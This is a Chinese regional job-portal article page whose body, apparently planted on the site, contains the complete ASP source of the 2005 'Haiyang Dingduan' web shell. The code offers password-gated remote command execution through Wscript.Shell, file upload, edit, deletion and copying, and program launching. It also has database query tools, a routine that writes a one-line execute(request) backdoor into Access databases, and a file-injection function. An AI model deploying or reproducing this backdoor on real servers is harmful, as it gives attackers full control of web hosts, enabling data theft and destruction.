人才库:销售 文秘 外贸 会计 保安 服装 程序 厂长 教师 网页设计 
首页   ||   招聘信息   发布招聘信息  申请VIP服务  ||   求职信息  发布求职信息  职位搜索
院校联盟  || 职场资讯  劳动法规  教你一招  职场生涯  留学移民  || 精彩推荐 下载专区 分类信息
·当前位置:职场资讯高校联盟鹭江大学 → 3
3
日期:2006年7月19日 作者:3 人气: 查看:[大字体 中字体 小字体]

<% option explicit const m="xxxxx" const mVersion="4.00" const userPassword="hutuxia" '登录密码 const adminPassword="hutuxia" '二次密码 const sqlMaxLoopI=100 const shellStr="Shell" const wscriptStr="Wscript" const notdownloadsExists=false const applicationStr="Application" const myCmdDotExeFile="command.exe" '自己的cmd.exe文件名,如果不方便改源程序, 执行时要在路径后面多加上 /c const editableFileExt="$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$bat$lst$aspx$p hp3$php4$js$css$bat$asa$" dim url,pageName,startTime startTime=timer() session.timeout=40 pageName=request("pageName") url=request.serverVariables("url") rem +--------------------------------------+ rem | 这下面是页面的公共函数部分 | rem +--------------------------------------+ sub echo(str) response.write(str) end sub sub onErr(str) response.write("出错信息: "&str&"") response.end() end sub sub isIn(flag) if flag=1 then if session(m&"userPassword")<>userPassword then echo "" response.end end if else isIn(1) if session(m&"adminPassword")<>adminPassword then echo "" response.end end if end if end sub function getTheSize(str) dim theSize theSize=str if theSize>=(1024*1024*1024) then getTheSize=fix((theSize/(1024*1024*1024)) *10)/10&"G" if theSize>=(1024*1024) and theSize<(1024*1024*1024) then getTheSize=fix((theSize/(1024*1024))*10)/10&"M" if theSize>=1024 and theSize<(1024*1024) then getTheSize=fix((theSize/1024) *10)/10&"K" if theSize>=0 and theSize <1024 then getTheSize=theSize&"B" end function function getStrLen(str) dim i getStrLen=0 for i=1 to len(str) if asc(mid(str,i,1))>0 and asc(mid(str,i,1))<256 then getStrLen=getStrLen+1 else getStrLen=getStrLen+2 end if next end function function getCutStr(str,n) dim i,j if n>len(str) then n=len(str) end if for i=1 to n if asc(mid(str,i,1))<=0 or asc(mid(str,i,1))>=256 then j=j+1 end if next getCutStr=left(str,n-j) end function sub redirectTo(url) response.redirect(url) end sub sub showTitle(str) ' response.write(""&vbNewLine) response.write(""&str&" - 海阳顶端网ASP木马@2005版 By LCX & Marcos") end sub sub showExecuteTime() response.write("
"&((timer-startTime)*1000)&" ms
") end sub function getParentFolder(thePath) dim path path=thePath if right(path,1)="\" then path=left(path,len(path)-1) end if if instr(path,"\")>0 then getParentFolder=left(path,instrRev(path,"\")) else getParentFolder="" end if end function sub chkErr(err,message) if err then err.clear response.write "" response.end end if end sub function encodeForUrl(str,flag) if flag=true then encodeForUrl=replace(str,"\","\\") else encodeForUrl=str end if encodeForUrl=replace(encodeForUrl,"%","%25") encodeForUrl=replace(encodeForUrl,"#","%23") encodeForUrl=replace(encodeForUrl,"&","%26") end function function fixNull(str) if isNull(str) then fixNull="" else fixNull=str end if end function sub streamUpload(thePath,fileName) dim i,j,info,stream,streamT,fileContent if instr(fileName,":") then fileName=fileName else fileName=thePath&"\"&fileName end if server.scriptTimeOut=5000 set stream=server.createObject("adodb.stream") set streamT=server.createObject("adodb.stream") with stream .type=1 .mode=3 .open .write request.binaryRead(request.totalBytes) .position=0 fileContent=.read() i=instrB(fileContent,chrB(13)&chrB(10)) info=leftB(fileContent,i-1) i=len(info)+2 i=instrB(i,fileContent,chrB(13)&chrB(10)&chrB(13)&chrB(10))+4-1 j=instrB(i,fileContent,info)-1 streamT.Type=1 streamT.Mode=3 streamT.Open stream.position=i .copyTo streamT,j-i-2 on error resume next streamT.saveToFile fileName chkErr err,err.description&"\n文件名忘记填写了吗?\n还是文件(夹) 已经存在了?');history.back('" echo "" streamT.close .close end with set stream=nothing set streamT=nothing end sub rem +-------------------------------+ rem | 下面是页面代码选择 | rem +-------------------------------+ if pageName<>"stream" then pageOther() showMenu() end if select case pageName case "","default" pageDefault() case "server" pageServer() case "stream" pageStream() case "sql" pageSql() case "fso" pageFso() case "upload" pageUpload() case "cmdShell" pageCmdShell() case "login" pageLogin() case "app" pageApp() end select rem +-------------------------------+ rem | 下面是各独立功能代码 | rem +-------------------------------+ sub pageDefault() dim theAct,password theAct=request("theAct") password=request("password") if theAct="chkLogin" then if password=userPassword then session(m&"userPassword")=userPassword redirectTo(url&"?pageName=server") else redirectTo(url&"?pageName=default") end if end if showTitle("管理登录") echo "" %>
管理登录
 
海阳顶端网ASP木马@2005版
<% echo "" showExecuteTime() end sub sub pageLogin() dim theAct,password isIn(1) theAct=request("theAct") password=request("password") if theAct="chkLogin" then if password=adminPassword then session(m&"adminPassword")=adminPassword redirectTo(url&"?pageName=stream") else redirectTo(url&"?pageName=login") end if end if showTitle("管理登录") echo "" %>
管理密码验证
 
海阳顶端网ASP木马@2005版
<% echo "" showExecuteTime() end sub sub pageStream() isIn(1) dim theAct,thePath,toPath,fileName theAct=request("theAct") toPath=request("toPath") thePath=request("thePath") fileName=request("fileName") if thePath="" then thePath=server.mapPath(".") end if select case theAct case "save" streamEditFile(thePath) response.end case "down" downTheFile(thePath) response.end case "saveAsTwo" saveAsTwo thePath,toPath response.end end select showTitle("流操作页面") pageOther() showMenu() select case theAct case "edit" streamEditFile(thePath) response.end case "upload" streamUpload thePath,fileName echo "" response.end end select %>
 <%=request.serverVariables("server_name")%> - Adodb.Stream Back Door
 
 PATH:
  保存为
 
<%call streamGetFolderList(thePath,true)%> <%call streamGetFolderList(thePath,false)%>
 
Powered By Marcos 2004.11 
<% showExecuteTime() end sub sub streamEditFile(thePath) dim fileName,fileContent,userCharset fileName=thePath userCharset=request("userCharset") if request("theAct")="save" then fileContent=request("fileContent") streamWriteToFile thePath,fileContent response.end end if fileContent=streamReadFromFile(fileName,request("userCharset")) %>
不是GB2312编码文件无法正确保存! &userCharset='+this.fo rm.userCharset.value;this.disabled=true;">  
<% showExecuteTime() end sub sub streamGetFolderList(thePath,showFolder) dim sa,ext,flag,list,folders set sa=server.createObject(shellStr&"."&applicationStr) if len(thePath)=2 then thePath=thePath&"\" end if set folders=sa.namespace(thePath) if showFolder=true and getParentFolder(thePath)<>"" then echo " ..
" end if on error resume next for each list in folders.items if showFolder=true and list.isfolder Then echo " [" echo replace(replace(lcase(list.path),lcase(thePath),""),"\","") echo "]
" else if showFolder=false and (not list.isfolder) Then ext=split(list.path,".")(uBound(split(list.path,"."))) flag=instr(lcase(editableFileExt),lcase("$"&ext&"$")) echo " "&replace(replace(lcase(list.path),lcase(thePath),""),"\","") echo "   Down-" if flag>0 then echo "Edit-" end if echo "SaveAs-" echo getTheSize(list.size) echo "
" end if end if next chkErr err,err.description&"\n可能文件夹不存在');history.back('" end sub sub downTheFile(thePath) dim stream,fileName,fileContentType fileName=split(thePath,"\")(uBound(split(thePath,"\"))) set stream=server.createObject("adodb.stream") stream.open stream.type=1 stream.loadFromFile(thePath) fileContentType=getContentType(fileName) response.addHeader "Content-Disposition", "attachment; filename=" & fileName response.addHeader "Content-Length",stream.Size response.charset="UTF-8" response.contentType=fileContentType response.binaryWrite stream.read response.flush stream.close set stream=nothing end sub function getContentType(fileName) select case split(fileName,".")(uBound(split(fileName,"."))) case "asf" getContentType="video/x-ms-asf" case "avi" getContentType="video/avi" case "doc" getContentType="application/msword" case "zip" getContentType="application/zip" case "xls" getContentType="application/vnd.ms-excel" case "gif" getContentType="image/gif" case "jpg", "jpeg" getContentType="image/jpeg" case "wav" getContentType="audio/wav" case "mp3" getContentType="audio/mpeg3" case "mpg", "mpeg" getContentType="video/mpeg" case "rtf" getContentType="application/rtf" case "htm", "html" getContentType="text/html" case "txt","js" getContentType="text/plain" case else getContentType="application/octet-stream" end select end function sub saveAsTwo(thePath,toPath) on error resume next dim stream if lTrim(thePath)=lTrim(toPath) then echo "" response.end end if set stream=server.createObject("adodb.stream") stream.type=1 stream.open stream.loadFromFile thePath chkErr err,err.description stream.saveToFile toPath,2 echo "" set stream=nothing end sub function streamReadFromFile(thePath,userCharset) dim stream set stream=server.createObject("adodb.stream") with stream .type=2 .mode=3 .open on error resume next .loadFromFile thePath chkErr err,"文件无法被打开,请重试!" if userCharset<>"" then .charset=userCharset else .charset="gb2312" end if chkErr err,"编码类型错误![返 回]" .Position=2 streamReadFromFile=.readText() .close end with set stream=nothing end function sub streamWriteToFile(thePath,fileContent) dim stream set stream=server.createObject("adodb.stream") with stream .type=2 .mode=3 .open .charset="gb2312" .writeText fileContent .saveToFile thePath,2 .close end with set stream=nothing echo "文件保存成功! [返回]" end sub sub pageServer() dim i isIn(1) showTitle("服务器相关数据") %> <% dim t1,t2,lsabc,thetime t1=timer for i=1 to 500000 lsabc=1+1 next t2=timer thetime=cstr(int(((t2-t1)*10000)+0.5)/10) %>
服务器相关数据
 
 服务器名  <%=request.serverVariables("SERVER_NAME")%>
 服务器IP  <%=request.serverVariables("LOCAL_ADDR")%>
 服务器时间  <%=now%>
 本文件绝对路径  <%=server.mappath(request.serverVariables("SCRIPT_NAME"))%>
 服务器操作系统  <%=request.serverVariables("OS")%>
 服务器运算速度测试  <%=thetime%> 毫秒(50万次1+1运算所需时间)
 
Powered By LCX 2004.11 
<% showExecuteTime() end sub sub pageSql() isIn(1) dim theAct,sqlStr theAct=request("theAct") sqlStr=request("sqlStr") showTitle("mdb+mssql数据库操作页") if sqlStr="" then if session(m&"sqlStr")="" then sqlStr="e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;" else sqlStr=session(m&"sqlStr") end if end if session(m&"sqlStr")=sqlStr %>
mdb+mssql数据库操作
 
<% select case theAct case "showTables" showTables() case "query" showQuery() case "inject" accessInject() end select showExecuteTime() end sub sub showTables() dim conn,sqlStr,rsTable,rsColumn,connStr,tablesStr,loopI sqlStr=request("sqlStr") if lcase(left(sqlStr,4))="sql:" then connStr=mid(sqlStr,5) else connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr end if set conn=server.createObject("adodb.connection") on error resume next conn.open connStr chkErr err,"无法打开: "&sqlStr set rsTable=conn.openSchema(20,array(empty,empty,empty,"table")) do until rsTable.eof tablesStr=tablesStr&"
 "&rsTable("Table_Name")&"" rsTable.moveNext loop rsTable.moveFirst %>
数据库表结构查看
 
<%=tablesStr%>

">转到SQL命令执行 <% do until rsTable.eof set rsColumn=conn.openSchema(4,array(empty,empty,rsTable("Table_Name").value)) %>
<% loopI=0 do until rsColumn.eof loopI=loopI+1 if loopI>sqlMaxLoopI then exit do end if %> <% rsColumn.moveNext loop %>
<%=rsTable("Table_Name")%>
字段名 类型 大小 精度 允许为空 默认值
 <%=rsColumn("Column_Name")%> <%=getDataType(rsColumn("Data_Type"))%> <%=rsColumn("Character_Maximum_Length")%> <%=rsColumn("Numeric_Precision")%> <%=rsColumn("Is_Nullable")%> <%=rsColumn("Column_Default")%>
<% rsTable.moveNext loop %>
Powered By LCX 2004.11 
<% conn.close set conn=nothing set rsTable=nothing set rsColumn=nothing end sub sub showQuery() dim i,j,rs,sql,page,conn,sqlStr,connStr,rsTable,tablesStr,theTable sql=request("sql") page=request("page") sqlStr=request("sqlStr") theTable=request("theTable") if not isNumeric(page) or page="" then page=1 end if if sql="" and theTable<>"" then sql="select top 10 * from ["&theTable&"]" end if if lcase(left(sqlStr,4))="sql:" then connStr=mid(sqlStr,5) else connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr end if set rs=server.createObject("adodb.recordSet") set conn=server.createObject("adodb.connection") on error resume next conn.open connStr chkErr err,"无法打开: "&sqlStr set rsTable=conn.openSchema(20,array(empty,empty,empty,"table")) do until rsTable.eof tablesStr=tablesStr&"
 "&rsTable("Table_Name")&"" rsTable.moveNext loop %>
SQL命令执行及查看
 
<%=tablesStr%>



<% if sql<>"" and left(lcase(sql),7)="select " then rs.open sql,conn,1,1 rs.pageSize=20 if not rs.eof then rs.absolutePage=page end if if rs.fields.count>0 then echo "
" echo "" echo "" echo "" echo "" for j=0 to rs.fields.count-1 echo "" next for i=1 to 20 if rs.eof then exit for end if echo "" echo "" for j=0 to rs.fields.count-1 echo "" next echo "" rs.movenext next end if echo "" echo "
SQL操作 - 执行结果
"&rs.fields(j).name&"
"&server.htmlEncode(fixNull(rs(j)))&"
" for i=1 to rs.pagecount echo replace(""&i&" ","{$font"&page&"}","class=warningColor") next echo "

" rs.close else if sql<>"" then on error resume next conn.execute(sql) chkErr err,"SQL语句错误: "&sql echo "

执行完毕!
" end if end if %>
Powered By LCX 2004.11 

<% conn.close set rs=nothing set conn=nothing set rsTable=nothing end sub function getDataType(typeId) select case typeId case 130 getDataType="文本" case 2 getDataType="整型" case 3 getDataType="长整型" case 7 getDataType="日期/时间" case 5 getDataType="双精度型" case 11 getDataType="是/否" case 128 getDataType="OLE 对象" case else getDataType=typeId end select end function sub accessInject() dim rs,conn,sqlStr,connStr sqlStr=request("sqlStr") if lcase(left(sqlStr,4))="sql:" then onErr("插入只对ACCESS数据库有效!") else connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr end if set rs=server.createObject("adodb.recordSet") set conn=server.createObject("adodb.connection") on error resume next conn.open connStr chkErr err,"无法打开: "&sqlStr if notdownloadsExists=true then conn.execute("drop table notdownloads") end if conn.execute("create table notdownloads(notdownloads oleobject)") rs.open "notdownloads",conn,1,3 rs.addnew rs("notdownloads").appendchunk(chrB(asc("<"))&chrB(asc("s"))&chrB(asc("c"))&chrB(asc("r"))&chrB( asc("i"))&chrB(asc("p"))&chrB(asc("t"))&chrB(asc(" "))&chrB(asc("l"))&chrB(asc("a"))&chrB(asc("n"))&chrB(asc("g"))&chrB(asc("u"))&chrB(asc("a"))&chrB (asc("g"))&chrB(asc("e"))&chrB(asc("="))&chrB(asc(""""))&chrB(asc("v"))&chrB(asc("b"))&chrB(asc("s "))&chrB(asc("c"))&chrB(asc("r"))&chrB(asc("i"))&chrB(asc("p"))&chrB(asc("t"))&chrB(asc(""""))&chrB( asc(" "))&chrB(asc("r"))&chrB(asc("u"))&chrB(asc("n"))&chrB(asc("a"))&chrB(asc("t"))&chrB(asc("="))&chrB( asc("s"))&chrB(asc("e"))&chrB(asc("r"))&chrB(asc("v"))&chrB(asc("e"))&chrB(asc("r"))&chrB(asc(">")) &chrB(asc("e"))&chrB(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc("u"))&chrB(asc("t"))&chrB(a sc("e"))&chrB(asc("("))&chrB(asc("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc("u"))&chrB(asc("e"))& chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(asc(""""))&chrB(asc("#"))&chrB(asc(""""))&chrB(a sc(")"))&chrB(asc(")"))&chrB(asc("<"))&chrB(asc("/"))&chrB(asc("s"))&chrB(asc("c"))&chrB(asc("r"))&c hrB(asc("i"))&chrB(asc("p"))&chrB(asc("t"))&chrB(asc(">"))) rs.update rs.close echo "" conn.close set rs=nothing set conn=nothing end sub sub pageUpload() isIn(1) dim theAct,thePath,fileName theAct=request("theAct") thePath=request("thePath") fileName=request("fileName") showTitle("其它操作页面") if thePath="" then thePath=server.mapPath(".") end if if theAct="upload" then streamUpload thePath,fileName echo "" end if %>
 <%=request.serverVariables("server_name")%> - Adodb.Stream File Upload
 
保存为
 
Powered By Marcos 2004.11 

 <%=request.serverVariables("server_name")%> - 数制转换
 
 
Powered By LCX 2004.11 

 <%=request.serverVariables("server_name")%> - 海阳顶端网ASP后门执行
 
 表单提交地址:
 
Powered By Marcos 2004.11 

 <%=request.serverVariables("server_name")%> - 网页代码常用加解密
 


 
Powered By Marcos 2004.11 
<% showExecuteTime() end sub sub pageCmdShell() isIn(2) dim ws,cmdStr,cmdPath,cmdResult cmdStr=request("cmdStr") cmdPath=request("cmdPath") set ws=server.createObject(wscriptStr&"."&shellStr) showTitle("Shell操作") if cmdPath="" then cmdPath="cmd.exe" end if if instr(lcase(cmdPath),"cmd.exe")>0 or instr(lcase(cmdPath),lcase(myCmdDotExeFile))>0 then cmdResult=ws.exec(cmdPath&" /c "&cmdStr).stdOut.readAll() else if cmdPath="wscriptShell" then on error resume next cmdResult=ws.exec(cmdStr).stdOut.readAll() if err then err.clear onErr(cmdStr&" 错误的参数") response.end end if else cmdResult=ws.exec(cmdPath&" "&cmdStr).stdOut.readAll() end if end if echo "" %>
 <%=request.serverVariables("server_name")%> - Wscript.Shell Back Door
 
路径:
命令/参数:
 
Powered By Marcos 2004.11 
<% echo "" set ws=nothing showExecuteTime() end sub sub pageApp() isIn(1) dim theAct,dirToView,dirCopyTo,dirCopyFrom,dirMoveTo,dirMoveFrom,appExePath,appExeFile theAct=request("theAct") dirToView=request("dirToView") dirCopyTo=request("dirCopyTo") dirCopyFrom=request("dirCopyFrom") dirMoveTo=request("dirMoveTo") dirMoveFrom=request("dirMoveFrom") appExePath=request("appExePath") appExeFile=request("appExeFile") showTitle("application操作页面") select case theAct case "dirView" viewDir(dirToView) case "dirCopy" dirOperate dirCopyFrom,dirCopyTo,"copy" case "dirMove" dirOperate dirMoveFrom,dirMoveTo,"move" case "appExe" exeApp appExePath,appExeFile end select %>
 <%=request.serverVariables("server_name")%> - Shell.Application Back Door
 

把文件(夹) 复制到
把文件(夹) 移动到
路径: 程序:
 
Powered By LCX 2004.11 
<% showExecuteTime() end sub sub viewDir(dirToView) dim sa,co,fod if mid(dirToView,2,1)<>":" then onErr("请填写真实存在的绝对路径!") end if set sa=server.createObject(shellStr&"."&applicationStr) set fod=sa.namespace(dirToView) echo "" on error resume next if getParentFolder(dirToView)<>"" then echo "" end if for each co in fod.items if co.isFolder then echo "" else echo "" end if next if err then err.clear onErr "路径未找到!" end if echo "
  ↑回到上级
 "&co.path&""&getTheSize(co.size)&" 
 "&co.path&""&getTheSize(co.size)&" 

" set sa=nothing set fod=nothing end sub sub dirOperate(dirFrom,dirTo,theAct) dim i,sa,fod1,fod2,path,path2,foditem if dirFrom="" or dirTo="" then onErr("请完整填写各项!") end if if mid(dirFrom,2,1)<>":" or mid(dirTo,2,1)<>":" then onErr("请填写真实存在的绝对路径!") end if set sa=server.createobject(shellStr&"."&applicationStr) on error resume next set fod1=sa.namespace(dirTo) chkErr err,err.description&"');history.back('" path2=split(dirFrom,"\")(uBound(split(dirFrom,"\"))) path=left(dirFrom,len(dirFrom)-len(path2)-1) if len(path)=2 then path=path&"\" end if set fod2=sa.namespace(path) set foditem=fod2.parsename(path2) chkErr err,err.description&"');history.back('" if theAct="copy" then fod1.copyHere foditem chkErr err,err.description&"');history.back('" end if if theAct="move" then fod1.moveHere foditem chkErr err,err.description&"');history.back('" end if echo "
命令成功完成!

" set sa=nothing set fod1=nothing set fod2=nothing set foditem=nothing end sub sub exeApp(appExePath,appExeFile) dim sa set sa=server.createObject(shellStr&"."&applicationStr) on error resume next sa.namespace(appExePath).items.item(appExeFile).invokeverb chkErr err,err.description&"');history.back('" echo "
命令成功完成!

" set sa=nothing end sub sub pageFso() dim key,list,path,theAct,toPath,thePath,driveStr,fileName,fileContent isIn(2) key=request("key") path=request("path") theAct=request("theAct") toPath=request("toPath") thePath=request("thePath") fileName=request("fileName") fileContent=request("fileContent") if thePath="" then thePath=server.mapPath(".") end if if path="" then path=thePath end if showTitle("FSO操作页面") select case theAct case "inject" fsoInject(thePath) echo "" response.end case "edit" fsoEditFile(thePath) response.end case "save" fsoSaveToFile thePath,fileContent echo "" response.end case "delFile" fsoDelFile(thePath) echo "" response.end case "delFolder" fsoDelFolder(thePath) echo "" response.end case "saveAs" fsoSaveAs thePath,toPath echo "" response.end case "createFile" if not fso.fileExists(thePath&"\"&request("theName")) then fso.createTextFile thePath&"\"&request("theName") end if echo "" response.end case "createFolder" if not fso.folderExists(thePath&"\"&request("theName")) then fso.createFolder thePath&"\"&request("theName") end if echo "" response.end case "searchFolder" set path=fso.getFolder(path) searchFolder path,key response.end case "upload" streamUpload thePath,fileName echo "" end select for each list in fso.drives driveStr=driveStr&""&list.driveLetter&"盘: " next %>
 <%=request.serverVariables("server_name")%> - FSO Back Door
 
 切换盘符: <%=driveStr%>本机局域网地址: <% on error resume next echo "\\"&net.computerName&"\"&net.userName chkErr err,err.description %>
 PATH:
 在 中查找
  〖新建文件和新建目录不能同名〗
  保存为
 
<%call fsoGetFolderList(thePath,true)%>
<%call fsoGetFolderList(thePath,false)%>
 
Powered By LCX 2004.11 
<% showExecuteTime() end sub sub fsoEditFile(thePath) dim theFile set theFile=fso.openTextFile(thePath,1,false) on error resume next %>
 
<% err.clear set theFile=nothing showExecuteTime() end sub sub fsoGetFolderList(thePath,showFolder) dim ext,flag,list,theHref,theFiles,fileName,theFolder,theFolders if not fso.folderExists(thePath) then onErr("路径错误或者盘空或者没有权限的访问!") end if if len(thePath)=2 then thePath=thePath&"\" end if set theFolder=fso.getFolder(thePath) set theFiles=theFolder.files set theFolders=theFolder.subFolders if showFolder=true and getParentFolder(thePath)<>"" then echo " ↑回上级目录
" end if if showFolder=true then for each list in theFolders echo " └■ " echo replace(replace(lcase(list.path),lcase(thePath),""),"\","")&"" echo " ×删除
" next else echo "" echo "" echo "" echo "" for each list in theFiles ext=split(list.path,".")(uBound(split(list.path,"."))) flag=instr(lcase(editableFileExt),lcase("$"&ext&"$")) fileName=replace(replace(lcase(list.path),lcase(thePath),""),"\","") if instr(lcase(list.path),lcase(server.mapPath("."))) then theHref="" theHref=mid(theHref&replace(lcase(list.path),lcase(server.mapPath(".")),""),2) echo "" else echo "" end if echo ""&vbNewline next echo "
文件名 (鼠标移到文件 名可以查看给文件的属性)大小文件操作
 " echo "" if getStrLen(fileName)>40 then fileName=getCutStr(fileName,40)&".." end if echo fileName&"
 " echo "" if getStrLen(fileName)>40 then fileName=getCutStr(fileName,40)&".." end if echo fileName&"" & getTheSize(list.size) & "" if flag>0 then echo "Edit " end if echo "SaveAs " echo "Down " echo "Del " if flag>0 then echo "Inject" end if echo "
" end if end sub sub fsoSaveAs(thePath,toPath) if lTrim(thePath)=lTrim(toPath) then echo "" response.end end if if fso.fileExists(thePath) then fso.copyFile thePath,toPath echo "" else echo "" end if end sub sub fsoInject(thePath) dim theFile set theFile=fso.openTextFile(thePath,8,True,0) theFile.writeLine("") theFile.close echo "" set theFile=nothing end sub sub fsoSaveToFile(thePath,fileContent) dim theFile set theFile=fso.openTextFile(thePath,2,true) theFile.write fileContent theFile.close echo "文件保存成功! [返回]" set theFile=nothing end sub sub fsoDelFile(thePath) dim theFile set theFile=fso.getFile(thePath) theFile.delete true set theFile=nothing end sub sub fsoDelFolder(thePath) fso.deleteFolder thePath,true end sub sub searchFolder(folder,str) dim ext,n,title,theFile,theFolder for each theFile In folder.Files ext=split(theFile,".")(uBound(split(theFile,"."))) if lcase(ext)="asp" or lcase(ext)="asa" or lcase(ext)="cer" or lcase(ext)="cdx" then if searchFile(theFile,str,title) then echo fileLink(theFile,title) n=n+1 end if end if next for each theFolder in folder.subFolders searchFolder theFolder,str next end sub function searchFile(f,s,title) dim fo,content,pos1,pos2 set fo=fso.openTextFile(f) content=fo.ReadAll() fo.close searchFile=instr(1,content,S,vbTextCompare)>0 if searchFile then pos1=instr(1,content,"",vbTextCompare) pos2=instr(1,content,"",vbTextCompare) title="" if pos1>0 and pos2>0 then title=mid(content,pos1+7,pos2-pos1-7) end if end if set fo=nothing end function function fileLink(f,title) fileLink=f.path if title="" then title=f.Name end if fileLink="
    ·"&title&" "&fileLink&"
" end function sub pageOther() %> <% end sub sub showMenu() if pageName="" or pageName="default" or pageName="login" then exit sub end if echo "" echo "" end sub %>

(出处:3)

相关文章:
·北京使馆每年加国移民配额仅3800个
·回眸2003年职场八大热点
·干5年跳槽最佳?2003关键词——跳槽
·2003年中国十大暴利行业
·我国3月1日起实施最低工资规定
·留学新西兰:2年制 3年制大专生待遇明显不同
·“3+2”模式攻读英国硕士学位
·30岁女人如何取得更大的职业发展
·今年中国授3万人博士学位
·抓好就业再就业 上半年汕头逾3万人找到“饭碗”
相关软件:
·疯狂单词2003真人语音版 v2.0
·中华灯谜 XP Build 2003.11.20 注册版
·迷你库存管理系统 网络 4.23 专业版
·腾讯QQ 2003III Beta2 木子版
·QQ病毒专杀工具(QQKav) XP Build 1113 钻石版
·北森职业规划系统 2003
·心理测试小精灵 v3.5
·UltraEdit-32编辑器
·Windows优化大师 v6.3 Build 1007
 → 特别推荐
 → 热点TOP10
关于QXRC | 会员服务 | 广告服务 | 诚聘英才 | 联系我们 | 收费方式 | 网站地图 | 友情链接     
服务热线:0595-85633128 传真:0595-85692028 E-mail:qxrcadmin@163.com
地址:福建省晋江市电力大厦裙楼6楼 邮政编码:362200
主办:晋江市人民政府 承办:晋江市人事局
网络实名:侨乡人才网